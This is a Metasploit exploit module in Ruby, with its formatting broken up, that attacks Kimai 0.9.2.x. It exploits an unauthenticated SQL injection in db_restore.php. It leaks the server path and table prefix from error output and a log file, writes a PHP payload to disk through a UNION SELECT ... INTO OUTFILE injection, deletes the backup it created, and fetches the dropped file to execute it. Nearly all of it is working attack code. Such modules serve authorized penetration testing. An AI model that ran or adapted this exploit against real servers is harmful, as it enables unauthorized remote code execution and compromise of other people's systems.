##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require
'msf/core'
class
Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def
initialize(info={})
super
(update_info(info,
'Name'
=>
"Kimai v0.9.2 'db_restore.php' SQL Injection"
,
'Description'
=> %q{
This
module
exploits a
SQL
injection vulnerability
in
Kimai version
0
.
9
.
2
.x. The
'db_restore.php'
file allows unauthenticated users to
execute arbitrary
SQL
queries. This
module
writes a
PHP
payload to
disk
if
the following conditions are met: The
PHP
configuration must
have
'display_errors'
enabled, Kimai must be configured to use a
MySQL database running on localhost;
and
the MySQL user must have
write permission to the Kimai
'temporary'
directory.
},
'License'
=>
MSF_LICENSE
,
'Author'
=>
[
'drone (@dronesec)'
,
# Discovery and PoC
'Brendan Coles <bcoles[at]gmail.com>'
# Metasploit
],
'References'
=>
[
[
'EDB'
=>
'25606'
],
[
'OSVDB'
=>
'93547'
],
],
'Payload'
=>
{
'Space'
=>
8000
,
# HTTP POST
'DisableNops'
=>
true
,
'BadChars'
=>
"\x00\x0a\x0d\x27"
},
'Arch'
=>
ARCH_PHP
,
'Platform'
=>
'php'
,
'Targets'
=>
[
# Tested on Kimai versions 0.9.2.beta, 0.9.2.1294.beta, 0.9.2.1306-3
[
'Kimai version 0.9.2.x (PHP Payload)'
, {
'auto'
=>
true
} ]
],
'Privileged'
=>
false
,
'DisclosureDate'
=>
'May 21 2013'
,
'DefaultTarget'
=>
0
))
register_options(
[
OptString.
new
(
'TARGETURI'
, [
true
,
'The base path to Kimai'
,
'/kimai/'
]),
OptString.
new
(
'FALLBACK_TARGET_PATH'
, [
false
,
'The path to the web server document root directory'
,
'/var/www/'
]),
OptString.
new
(
'FALLBACK_TABLE_PREFIX'
, [
false
,
'The MySQL table name prefix string for Kimai tables'
,
'kimai_'
])
],
self
.
class
)
end
#
# Checks if target is Kimai version 0.9.2.x
#
def
check
print_status(
"#{peer} - Checking version..."
)
res = send_request_raw({
'uri'
=> normalize_uri(target_uri.path,
"index.php"
) })
if
not
res
print_error(
"#{peer} - Request timed out"
)
return
Exploit::CheckCode::Unknown
elsif
res.body =~ /Kimai/
and
res.body =~ /(
0
\.
9
\.[\d\.]+)<\/strong>/
version =
"#{$1}"
print_good(
"#{peer} - Found version: #{version}"
)
if
version >=
"0.9.2"
and
version <=
"0.9.2.1306"
return
Exploit::CheckCode::Detected
else
return
Exploit::CheckCode::Safe
end
end
Exploit::CheckCode::Unknown
end
def
exploit
# Get file system path
print_status(
"#{peer} - Retrieving file system path..."
)
res = send_request_raw({
'uri'
=> normalize_uri(target_uri.path,
'includes/vars.php'
) })
if
not
res
fail_with(Failure::Unknown,
"#{peer} - Request timed out"
)
elsif
res.body =~ /Undefined variable: .+
in
(.+)includes\/vars\.php on line \d+/
path =
"#{$1}"
print_good(
"#{peer} - Found file system path: #{path}"
)
else
path = normalize_uri(datastore[
'FALLBACK_TARGET_PATH'
], target_uri.path)
print_warning(
"#{peer} - Could not retrieve file system path. Assuming '#{path}'"
)
end
# Get MySQL table name prefix from temporary/logfile.txt
print_status(
"#{peer} - Retrieving MySQL table name prefix..."
)
res = send_request_raw({
'uri'
=> normalize_uri(target_uri.path,
'temporary'
,
'logfile.txt'
) })
if
not
res
fail_with(Failure::Unknown,
"#{peer} - Request timed out"
)
elsif
prefixes = res.body.scan(/
CREATE
TABLE
`(.+)usr`/)
table_prefix =
"#{prefixes.flatten.last}"
print_good(
"#{peer} - Found table name prefix: #{table_prefix}"
)
else
table_prefix = normalize_uri(datastore[
'FALLBACK_TABLE_PREFIX'
], target_uri.path)
print_warning(
"#{peer} - Could not retrieve MySQL table name prefix. Assuming '#{table_prefix}'"
)
end
# Create a backup ID
print_status(
"#{peer} - Creating a backup to get a valid backup ID..."
)
res = send_request_cgi({
'method'
=>
'POST'
,
'uri'
=> normalize_uri(target_uri.path,
'db_restore.php'
),
'vars_post'
=> {
'submit'
=>
'create backup'
}
})
if
not
res
fail_with(Failure::Unknown,
"#{peer} - Request timed out"
)
elsif
backup_ids = res.body.scan(/name=
"dates\[\]"
value=
"(\d+)"
>/)
id =
"#{backup_ids.flatten.last}"
print_good(
"#{peer} - Found backup ID: #{id}"
)
else
fail_with(Failure::Unknown,
"#{peer} - Could not retrieve backup ID"
)
end
# Write PHP payload to disk using MySQL injection 'into outfile'
fname =
"#{rand_text_alphanumeric(rand(10)+10)}.php"
sqli =
"#{id}_#{table_prefix}var UNION SELECT '<?php #{payload.encoded} ?>' INTO OUTFILE '#{path}/temporary/#{fname}';-- "
print_status(
"#{peer} - Writing payload (#{payload.encoded.length} bytes) to '#{path}/temporary/#{fname}'..."
)
res = send_request_cgi({
'method'
=>
'POST'
,
'uri'
=> normalize_uri(target_uri.path,
'db_restore.php'
),
'vars_post'
=>
Hash
[{
'submit'
=>
'recover'
,
'dates[]'
=> sqli
}.to_a.shuffle]
})
if
not
res
fail_with(Failure::Unknown,
"#{peer} - Request timed out"
)
elsif
res.code ==
200
print_good(
"#{peer} - Payload sent successfully"
)
register_files_for_cleanup(fname)
else
print_error(
"#{peer} - Sending payload failed. Received HTTP code: #{res.code}"
)
end
# Remove the backup
print_status(
"#{peer} - Removing the backup..."
)
res = send_request_cgi({
'method'
=>
'POST'
,
'uri'
=> normalize_uri(target_uri.path,
'db_restore.php'
),
'vars_post'
=>
Hash
[{
'submit'
=>
'delete'
,
'dates[]'
=>
"#{id}"
}.to_a.shuffle]
})
if
not
res
print_warning(
"#{peer} - Request timed out"
)
elsif
res.code ==
302
and
res.body !~ /
#{id}/
vprint_good(
"#{peer} - Deleted backup with ID '#{id}'"
)
else
print_warning(
"#{peer} - Could not remove backup with ID '#{id}'"
)
end
# Execute payload
print_status(
"#{peer} - Retrieving file '#{fname}'..."
)
res = send_request_raw({
'uri'
=> normalize_uri(target_uri.path,
'temporary'
,
"#{fname}"
)
},
5
)
end
end